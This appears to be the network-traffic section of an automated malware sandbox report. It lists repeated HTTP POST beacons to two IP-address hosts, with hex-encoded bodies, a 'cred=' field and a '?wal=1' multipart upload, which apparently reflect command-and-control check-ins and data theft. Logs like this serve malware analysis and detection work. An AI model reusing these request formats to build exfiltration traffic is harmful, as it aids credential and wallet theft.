Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----NDYyMQ==Host: 193.233.132.167Content-Length: 4781Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: 